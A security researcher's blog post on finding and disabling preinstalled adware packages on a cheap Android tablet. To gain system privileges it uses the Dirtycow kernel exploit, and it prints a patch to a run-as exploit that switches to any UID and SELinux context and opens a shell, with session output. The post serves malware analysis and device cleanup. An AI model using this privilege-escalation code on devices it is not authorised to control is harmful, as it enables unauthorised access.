Collin Mulliner - Stuff I do and Things I Like

Archived: 2026-04-05 15:13:23 UTC

In November I bought a cheap Android Tablet for a wall-mounted display (see this blog post: Android InfoPanel). After a couple of days (or weeks?) suddenly some overlay ads and warnings from Google Play about malicious apps appeared. I didn't have time to investigate so I just tried to close the apps and ads. This got more complicated since all of it was in Chinese. I ended up navigating the menu of what looked like a 3rd-party app store to uninstall an app named *Retipuj* that was flag by Google Play for ad-fraud. All of this using Google Translate on my phone.

This solution worked for a couple of days. Returning back from my Holiday trip I was greeted by overlay ads once again. Luckily I had some time on my hands to investigate. Here a short write-up.

Part 1, observations and hoping for an easy way out:

> I found one app that I didn't install (com.hero.filter), I uninstalled it via *adb uninstall com.hero.filter*. I tried Googling the package name but without success.
>
> Removing the app didn't seem to do anything. Judging by the task bar there still seem to be a number of apps running but checking via Settings/Apps and on the filesystem (/data/apps) no apps are installed. Every now and then a pop-up appears that looks like a 3rd party market trying to download and install apps. Installation is blocked by Google Play (verified apps I assume).

Part 2, looking at processes:

> I found two interesting looking processes *net.atlas.utopia* and *android.hb.uys.pbuild* looking at the SeLinux context they seem to be platform apps (u:r:platform_app:s0). These could be candidates (spoiler - they are). Using *pm list packages -f* I determined that net.atlas.utopia is install in /system/priv-app/Kyz2203 with the data in /data/data/net.atlas.utopia.
>
> pm list packages -f (only showing some interesting packages):
>
> ```
> package:/data/app/com.hero.filter-1/base.apk=com.hero.filter
> package:/system/app/AutoDialer/AutoDialer.apk=com.example
> package:/system/priv-app/Kyz2203/Kyz2203.apk=net.atlas.utopia
> package:/system/priv-app/reanimation/reanimation.apk=android.hb.uys.pbuild
> ```

Part 3, a quick peak into net.atlas.utopia:

> Permissions: this app has like every permission you can think off including install and delete packages, send SMS, read and write any setting and file. Further it has a number of app permissions that correspond to lenovo, oppo, huawei, and htc devices.

The app registers intent filters for a number of events: boot up, time zone change, packages install/remove, outgoing calls, etc. It basically monitors everything that is going on on the device. Pretty shitty.

The data directory also contained a dex file with the name *whatsappui1.dex*. A quick Google search on *whatsappui1* has one hit on team cymru's hash list: whatsappui1 with not much details but identify the file as being associated with ad-based malware.

The most interesting thing I found in this app is the use of a 3rd party library called DroidPlugin. DroidPlugin is a plugin framework for Android that allows to run any third-party apk without installation, modification or repackage. Seems like the perfect tool for malware distribution.

Part 4, a quick peak into android.hb.uys.pbuild:

Permissions are very similar to the net.atlas.utopia including the permissions corresponding to specific device manufacturers.

The manifest contains traces of ad related things. The library directory contains libiohook.so. The library contains symbols from *Cydia Substrate*. The library name appears in various search results that indicate ad related malware.

The asset directory contains a certificate *ky_dsa_public.crt* with no interesting issuer. jar file that contains a dex file and two .png files that contain ascii/text.

Part 5, getting rid of it all:

How do we get rid of pre-installed software? The system partition is read-only so we can't uninstall it! The best idea, that does not involve rooting and flashing new firmware, is disabling the package using the package manager (pm disable net.atlas.utopia) this however requires system privileges. You don't have system privileges without rooting. You can disable apps via Settings but you can only disable them if they are in the list. The ones we want to disable are not in the list.

How do we get system? The tablet still runs a 3.10.72 kernel so it might be vulnerable to dirtycow. I checked using the tools from timwr and yes it is vulnerable to dirtycow. Using my modified version of run-as as shown in my SafetyNet Talk we can become the system user and disable any package we want by running: *pm disable PACKAGE*.

Here the list of packages I disabled, so far no APKs are getting installed and I haven't seen any more ads.

pm list packages -d

```
package:com.mediatek.schpwronoff
package:android.hb.uys.pbuild
package:com.mediatek.ygps
package:com.android.htmlviewer
package:com.android.browser
```

```
package:com.hero.filter
package:com.example
package:com.svox.pico
package:com.opera.max.global
package:com.android.dreams.phototable
package:net.atlas.utopia
package:com.mediatek.weather
package:com.opera.max.loader
package:com.qihoo.appstore
package:com.fw.upgrade.sysoper
package:com.android.vpndialogs
```

Part 7, Dirtycow trickery:

As described on my slides you can modify run-as.c from timwr to become any UID with almost any SELinux context (depending on the device's SeLinux policy!). For our purpose we can become any UID and context that we require. Below some notes on how this works.

Dirtycow lets you overwrite any file that is how you replace /system/bin/run-as with your own binary. The binary cannot be bigger then the one you are overwriting. This might be a problem when you have a very very small run-as (9k in my case).

```
1|shell@KT107:/data/local/tmp $ ls -al /system/bin/run-as
-rwsr-s--- root     shell        9444 2018-09-27 03:44 run-as
```

The workaround I took was not using ndk-build to build run-as.c and instead manually running arm gcc. This will reduce the binary size due to discarding complier flags used by the ndk. Another solution would be to just load a shared library from run-as to keep the binary size small.

Once you have my version of run-as you can become (almost) any user.

```
shell@KT107:/data/local/tmp $ run-as 1000 u:r:platform_app:s0
shell@KT107:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(s
```

System (UID 1000) allows you to poke around /data/app/* and /data/data. If you want to explore /data/data/APP you need to assume the UID and context of that app.

```
shell@KT107:/data/data $ ls -al
drwxr-x--x u0_a13   u0_a13            u:object_r:app_data_file:s0 net.atlas.utopia
run-as 10013 u:r:platform_app:s0
shell@KT107:/data/data $ id
uid=10013(u0_a13) gid=10013(u0_a13) groups=1003(graphics),1004(input),1007(log),1011(adb),1015
shell@KT107:/data/data/net.atlas.utopia $ ls -al
```

```
drwx------ u0_a13   u0_a13            2017-12-31 19:00 Plugin
drwxrwx--x u0_a13   u0_a13            2017-12-31 19:00 app_dex
drwxrwx--x u0_a13   u0_a13            2017-12-31 19:00 cache
drwxrwx--x u0_a13   u0_a13            2017-12-31 19:00 databases
drwx------ u0_a13   u0_a13            2017-12-31 19:00 fankingbox
lrwxrwxrwx install  install           2015-12-31 19:00 lib -> /data/app-lib/net.atlas.utopia
drwxrwx--x u0_a13   u0_a13            2019-01-03 15:56 shared_prefs
-rw------- u0_a13   u0_a13       9572 2019-01-03 15:54 whatsappui1.dex
```

Below is my patch for run-as.c. My version sets the UID from the first argument and the SELinux context from the second argument.

```
--- run-as-crm.c        2019-01-03 17:54:41.153471054 -0500
+++ run-as.c    2019-01-03 17:58:39.378353437 -0500
@@ -28,6 +28,8 @@
 {
        LOGV("uid %s %d", argv[0], getuid());

+       int duid = atoi(argv[1]);
+
        if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) {
                LOGV("setresgid/setresuid failed");
        }
@@ -56,7 +58,7 @@
                                LOGV("dlsym setcon error %s", error);
                        } else {
                                setcon_t * setcon_p = (setcon_t*)setcon;
-                               ret = (*setcon_p)("u:r:shell:s0");
+                               ret = (*setcon_p)(argv[2]);
                                ret = (*getcon_p)(&secontext);
                                LOGV("context %d %s", ret, secontext);
                        }
@@ -66,6 +68,12 @@
                LOGV("no selinux?");
        }

+       if (setresgid(duid, duid, duid) || setresuid(duid, duid, duid)) {
+               LOGV("setresgid/setresuid failed");
+       }
+       LOGV("uid %d", getuid());
+
        system("/system/bin/sh -i");

-}
\ No newline at end of file
```

```
+}
+
```

Conclusions:

Overall I would have preferred to not get pre-installed malware on my Android Tablet as I would rather have spent my time on my InfoPanel app or on other projects. However it was impossible for me to ignore this issue and simply buy a different tablet. Tracking down the malware still was kinda fun. It was the first time I experienced the issue of pre-installed malware first hand. I' also fairly happy that I didn't have to modify the firmware since this would have cost way more time. The most interesting thing I found was definitely the DroidPlugin project that allows running APKs without installing them. I wish I had more time to reverse engineer all the different apps and how they work together. I uploaded a zip file containing most components I talked about in this blog post here: yellyouth.zip.

I hope I finally disabled all of the components and have an ad free device.
